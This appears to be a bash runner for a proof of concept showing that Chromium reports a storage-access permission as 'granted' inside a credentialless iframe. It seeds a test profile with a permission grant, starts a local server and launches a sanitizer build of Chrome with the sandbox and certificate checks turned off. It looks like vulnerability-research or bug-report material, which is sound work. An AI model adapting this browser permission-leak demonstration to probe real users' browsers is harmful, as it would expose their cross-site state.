#!/bin/bash
# POC runner: storage-access permission status leaks into credentialless iframe.
#
# Seeds a profile with a STORAGE_ACCESS(embed.test, top.test) = ALLOW grant
# (as if the user had previously accepted document.requestStorageAccess() for
# embed.test under top.test in a *non*-credentialless context), then loads a
# credentialless embed.test iframe under top.test and shows that
# navigator.permissions.query({name:'storage-access'}) returns 'granted'.
set -euo pipefail

HERE="$(cd "$(dirname "$0")" && pwd)"
CHROME="${CHROME:-/chromium/chromium/src/out/asan/chrome}"
PROFILE="$(mktemp -d /tmp/chrome-poc-profile.XXXXXX)"
LOG="$HERE/chrome.log"

cleanup() {
  kill %1 2>/dev/null || true
  kill "$CHROME_PID" 2>/dev/null || true
  wait 2>/dev/null || true
}
trap cleanup EXIT

# ----------------------------------------------------------------------------
# Seed the profile with a persistent STORAGE_ACCESS grant for
# (https://embed.test, https://top.test). This is the same HostContentSettings
# entry that document.requestStorageAccess() would persist after the user
# accepts the prompt in a non-credentialless embed.test iframe under top.test.
# Multiple equivalent pattern spellings are included so the POC is robust to
# the exact serialisation chosen by the running Chrome build.
# ----------------------------------------------------------------------------
mkdir -p "$PROFILE/Default"
cat > "$PROFILE/Default/Preferences" <<'EOF'
{
  "profile": {
    "content_settings": {
      "exceptions": {
        "storage_access": {
          "https://[*.]embed.test,https://[*.]top.test": { "setting": 1 }
        }
      }
    }
  }
}
EOF

# ----------------------------------------------------------------------------
# Start the HTTPS server (serves both top.test and embed.test content; collects
# /report callbacks and prints the verdict).
# ----------------------------------------------------------------------------
python3 "$HERE/server.py" &
SERVER_PID=$!
sleep 2

# ----------------------------------------------------------------------------
# Launch Chrome.
#   --host-resolver-rules         : map *.test to the local server
#   --ignore-certificate-errors   : self-signed cert for *.test (env-only;
#                                   real attackers control real-cert origins)
# No security gate relevant to the bug is disabled.
# ----------------------------------------------------------------------------
"$CHROME" \
  --no-first-run --no-default-browser-check --no-sandbox \
  --disable-gpu --use-gl=swiftshader \
  --user-data-dir="$PROFILE" \
  --host-resolver-rules="MAP *.test 127.0.0.1" \
  --ignore-certificate-errors \
  --enable-logging=stderr \
  "https://top.test:8443/top.html" \
  > "$LOG" 2>&1 &
CHROME_PID=$!

# Wait for the server to collect both reports (or time out) and print verdict.
wait "$SERVER_PID"
SERVER_RC=$?

kill "$CHROME_PID" 2>/dev/null || true

echo
echo "Chrome log tail (CONSOLE lines):"
grep -a 'embed.test' "$LOG" | grep -a 'CONSOLE\|permissions' || true

exit "$SERVER_RC"
